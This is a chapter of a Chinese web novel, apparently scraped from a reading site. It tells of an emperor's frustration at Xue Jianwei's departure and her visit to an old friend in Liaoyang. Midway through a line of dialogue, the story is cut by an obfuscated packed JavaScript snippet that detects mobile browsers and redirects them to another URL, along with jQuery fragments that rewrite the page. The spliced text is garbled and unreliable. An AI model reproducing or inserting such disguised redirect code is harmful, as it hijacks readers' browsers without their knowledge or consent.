十二鹊 作品

57. 山亭夏(五)

雨来细细复疏疏,一不留神北苑院里齐根砍断的柿子树大有再长的趋势,这世间的万物跟着润物的微雨复苏,就连之前李承冕觉得厌烦的鸟鸣声,也跟着悦耳些许。


一时兴之所至,李承冕拿起毛笔作画,随意的几笔勾勒出蒙蒙雨势,他朝窗外看了半晌,轻声道:“微雨燕双飞。”


闻渊进来递上一封信,“陛下,国公爷加急发来一封信。”


李承冕接过信件草草看了一眼,不外乎对于宫中事务的呈奏,信尾两句言语委婉的催促。


闻渊察言观色了一阵,见李承冕近日心情较为平和,便补充道:“国公爷说眼下皇陵已安葬,过多耽搁时日会误国之事,不知何时能启程回宫?”


李承冕四根手指轮流敲击案几,好似万马奔腾而过。基于前些时日两人友好的交谈,他耐住性子静心等待薛见微给出一份答复。


合格的猎人不仅要有敏锐的嗅觉,还要有充足的耐心。对于薛见微威胁无用,那么必要地释放一些善意也是一种招安手段。


李承冕有信心,今时不同往日,薛见微定然能给出一份他满意的答复。


但现在的情况不太明朗,石沉大海杳无音讯。这是在考验究竟谁的耐心更好么?


他压下心中似有若无的烦躁,“近日为何不见薛见微?”


闻渊身子一僵硬,面色如常道:“许是薛禾大病初愈,忙着看顾孩子身体,分身乏术。”


手指敲击的声音戛然而止,屋子里骤然间寂静无声,好似暴风雨前平静的海面,深不见底的波澜。


“叫李昇来。”


“是。”


---


薛见微是被手臂上的肿块痒醒的。她睡得迷瞪,模模糊糊地抓挠了两下,翻了个身想要再睡半刻,


“薛禾,夜里虫子咬你了么?”


无人应答,倒是窗外的呼喊声浪如潮,薛见微缓了片刻,才醒悟过来此刻自己身在燎阳的客栈。


为避免夜长梦多,那日稳住李承冕后,她将薛禾托付给李昇便连夜走水路,搭乘一辆货船长途跋涉抵达燎阳。


幸好请了李昇的一封路引,在这一路减去不少麻烦。临行时,薛禾涕泪涟涟的样子仍历历在目。


“娘,你是不要我了么?”


“怎会,娘回俞州给姥爷扫墓,路途遥远带着你不方便。”


此话倘若当真细细纠察起来,也不算谎话。薛轶尸骨无存,等从燎阳归来时顺路前往俞州的老家祭拜,权当扫墓了。


薛禾到底年少,不依不饶苦闹了一阵,见薛见微去意已决,只好哀求,“多久回来?”


“很快,娘答应你办完事一定第一时赶回来好么?”薛见微一遍遍摩挲起薛禾的发髻,让薛禾的心情逐渐平复下来。


李昇对此很是理解,“放心去吧,我替你好生看护薛禾,定然不会让他有机会下手。”


“若是他问起……”


“我明白,就说你去俞州扫墓。”


李昇踌躇片刻,望着屋子里伏案书写的薛禾,一张稚嫩的脸庞眉头紧锁,探头探脑看着薛见微,惶恐不安。


他心有不忍,“要不你再宽慰多些时候,那日你过于冲动在孩子面前出剑,她必然受了惊,瞧着心神不定不似从前。”


薛见微摇头,“我不想说得过多,倒显得此事欲盖弥彰。”她看了薛禾一眼,“放心吧,这孩子也是九死一生来到这世上,当初我都做好了她一辈子不会说话的打算,如今不也长得康健聪敏。”


她口头上满不在乎,拒绝得很是干脆,可出来了多少时日,夜里就梦了几回薛禾。


天意渐凉,未曾想燎阳气候湿热,她刚一来就长了一身湿疹。奈何实在痒得难受,挣扎许久无法再续上这一觉,索性坐起身子。


估摸着时间刚过辰时,窗外热闹喧天。她趿着鞋子一推门,正好碰上客栈的小二,“今儿什么日子,外面这么热闹?”


小二端着铜盆,顺势将盆中的水泼出去,一副了然于心的样子,“客官外地来的么?过几日可是垚州的大日子,蜕龙节,可曾听说过?”


“听过听过,怎会没听说过。”薛见微不愿暴露身份,跟着店小二闲扯两句支走了人,她将窗户支起,凑巧瞧见楼下一队人高举一条蜿蜒的长龙游行,夹道两岸欢呼吆喝声不绝于耳。


《燎阳广谈》有记载,燎阳的蜕龙节,为纪念千年前一尾灵蛇降此地福祉后蜕升为龙,节日当天巫祝会诵咒祈社坛,众人糅以竹骨框架,制九丈捻金织绢蛇蜕为龙身,腹中藏铜铃百枚,伴鼓乐巡游,燎阳人掷花祈福。日中至圣坛,焚符沉龙,祈丰年,举国欢庆。


虽然如今大荀的版图上只有垚州,这个节日也不曾跟随燎阳二字消逝。


看来未到正式的日子,招摇过市的只是一条竹编龙骨出来排演,未见那条传说中的九丈捻金织绢蛇蜕。


薛见微速速梳洗一番,怀里揣着那本从陈继广家获得的《燎阳广谈》出门。


当真如薛轶所言,不同于上京的肃穆和瞿州的粗砺,燎阳一如那份湿热般粘腻,让薛见微倍感新奇。


沿街两侧吊脚楼连薨接栋,檐角铜铃系五彩丝绦,风过处叮咚如报时古乐。当地人挑着篾筐入市,筐中盛着朱砂染的茱萸、绣着蛊纹的帕子,更有不计其数的陶瓶装着酒,封泥盖着野兽首印。绣坊临街支起花绷,女子骑坐在檐下飞针走线,银梭击节应和檐角风铃。卖巫傩面具,售赶山鞭,罗列九黎蛊药、花山棉,琳琅满目真是目不暇接。


也不知这拥挤的人潮和如火如荼的热闹,是燎阳自有的习俗,还是蜕龙节的缘故。


薛见微只得化身一条灵活的泥鳅,在细细密密的人群中钻来钻去,挤出一身汗才到达今日的目的地——垚州知州府。


她拱手朝门口的守卫行了一礼,“敢问这是知州大人蔡柏山府上么?”


守卫的钟戟本不想搭理,可细细瞅两眼见薛见微一身外地人打扮,担心有要事便应了一句,“找大人有何事?”


“烦请通传一声府上的狄夫人,上京的旧友前来拜访。”


一听是上京人士,钟戟也不敢怠慢,与身旁的人吩咐了两句,那人便进了府中,薛见微立在廊下等着。


周戟重新打量起薛见微,奇道:“娘子也是在侍灯司当过差?”


薛见微以不变应万变,“何以见得?”


“我们夫人也是侍灯司出身,从上京随大人远嫁至此,若说是夫人的旧友,那就只有侍


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177056|154524||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


灯司而来。”


他手中的长矛墩在地上“砰”地一声闷响,薛见微不动声色按住腰间的软剑,面色如常望着守卫,不料那守卫嘿嘿干笑了两声,“你看,垚州花绷里寻常的姑娘见了我这长矛一墩,必定花容失色,娘子居然面不改色,想来也是见过大世面的。”


薛见微跟着不痛不痒附和两句,“哪里见过大世面呀,我也就一妇道人家。”


“我的天老爷!瞧瞧这是谁!”


一女子云鬓斜簪三翟银冠,腰间垂坠垂兽首银铃,弓鞋缀点翠流苏,行步间环佩轻响,声色中七分欢喜三分惊讶,从门里径直冲上前一把搂住了薛见微,勒得薛见微喘不过气息。


薛见微伸长脖子正色道:“狄沛!你再用力勒紧一寸,我即刻就可以去见杨司使,再顺便告你一状!”


狄沛松手扳过薛见微的肩膀,喜不自胜,“怎么想着来垚州寻我?”


见了熟人,薛见微放松不少,“此事说来话长。”


“那就长话短说。”狄沛一勾手,不由分说揽起薛见微进了知州府。


周戟得意洋洋地朝一旁守卫的人炫耀起来,“如何,又叫我猜中了吧?”


旁人似乎已经司空见惯,敷衍道:“回回都让你猜中,了不起得很。”


周戟不以为然,又低声嘀咕起来,“奇也怪也,侍灯司竟然还有人活着。”


——


“你是说,薛见微回俞州去扫墓了?”


李承冕怒不可遏,“哐啷”一声,手中的笔洗断裂开来,豁开的口子仿佛正龇牙咧嘴嘲讽起李承冕。


眼见李承冕手掌鲜血直流,何曾见过他如此外露的情绪,李昇也吓了一跳,印象中此刻的李承冕应该撑着一张不动声色的脸,将手中的利刃慢条斯理戳进对方的血肉模煳的伤口里。何至于这般大动肝火?


他惊呼一声,“皇兄这是何故?千万别伤了龙体,元庆!快快去请郎中!”


李承冕声色发冷,“为何不趁早告知。”


“我以为皇兄已经知道此事,您近日不是常去别院与她议事么?”李昇一脸无辜,将毫不知情四个大字写在脸上。


自从那一夜薛禾在病重握紧李承冕的手指,恍惚之中念起爹娘,李承冕心中发怵再也不敢踏进别院半步。


他怕,怕撞见醒来的薛禾,怕薛禾向他发问。


他不知道如何解释,尽管他自诩是一个能自圆其说滴水不漏之人。


“李昇,你是故意放她走得是么?”


李昇无奈,“皇兄又在说胡话了,我这妹子本就性格不羁,谁又能束缚得住呢?”


笔洗里的浑水稀稀拉拉沿着案几流淌开,草色的纸张沾满水,在李承冕的手中变成土黄色。


李承冕沉声,“我若是挟天子以令诸侯,拿了薛禾的人头,你说薛见微还束缚得住么?”


李昇跟着笑了一声,“皇兄宅心仁厚,定然不会。”


他望着面色阴沉的李承冕,心中感慨万千。那日薛见微托付薛禾给他时,自己便问过这个问题,“倘若李承冕要用薛禾威胁你呢?”


薛见微淡淡道:“他不会。他既然会给薛禾解毒,就说明他心存愧疚。没办法,父女连心,这是命定的。”